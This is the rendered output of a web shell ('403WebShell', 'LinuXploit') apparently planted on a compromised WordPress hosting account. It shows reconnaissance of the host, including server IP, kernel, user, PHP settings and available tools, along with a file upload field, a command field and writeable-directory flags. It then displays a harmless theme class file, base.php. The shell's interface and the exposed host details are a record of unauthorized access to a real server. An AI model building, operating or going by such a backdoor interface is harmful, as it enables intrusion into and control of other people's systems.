Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.144.105.101
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/diixadigital.com/wp-content/themes/meto/includes/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/diixadigital.com/wp-content/themes/meto/includes/classes/base.php
<?php

namespace METO\Includes\Classes;

use METO\Includes\Classes\Header_Enqueue;
use METO\Includes\Classes\Options;

/**
 * Header and Enqueue class
 */
class Base
{
    public static $instance;

    /**
     * Set this value for theme options key
     *
     * @var string
     */
    private $option_key = METO_NAME;

    public function __construct()
    {
    }

    public function loadDefaults()
    {
        $this->protocol = (is_ssl()) ? 'https' : 'http';

        Header_Enqueue::init();

        ( new Options )->init();
    }

    public static function instance()
    {
        if (isset($GLOBALS['meto_base'])) {
            return $GLOBALS['meto_base'];
        }

        if (is_null(self::$instance)) {
            self::$instance = new self();
        }

        $GLOBALS['taon_base'] = self::$instance;

        return self::$instance;
    }

    /**
     * Return the theme options.
     *
     * @param  string $key [description]
     * @return [type]      [description]
     */
    public function option($key = '')
    {
        $options = (array) get_theme_mod(METO_NAME . '_options-mods');

        $dn = meto_dot($options);

        if ($key) {
            return $dn->get($key);
        }

        return $dn;
    }


    /**
     * [config description]
     *
     * @param  string $name [description].
     * @return array       [description]
     */
    public function config($name = '')
    {
        $config = include get_template_directory() . '/includes/config.php';

        $dn = new DotNotation($config);
        $found = $dn->get($name);

        if ($found) {
            return $found;
        }

        return $config;
    }

    /**
     * [get_meta description]
     *
     * @param  string $key [description].
     * @param  string $id  [description].
     * @return [type]      [description]
     */
    public function get_meta($key = '', $id = '')
    {
        global $post, $post_type;

        if (! $post_type) {
            return;
        }

        $id = ($id) ? $id : meto_set($post, 'ID');

        $key = ($key) ? $key : '_sh_'.$post_type.'_settings';

        $meta = get_post_meta($id, $key, true);

        return ($meta) ? $meta : false;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit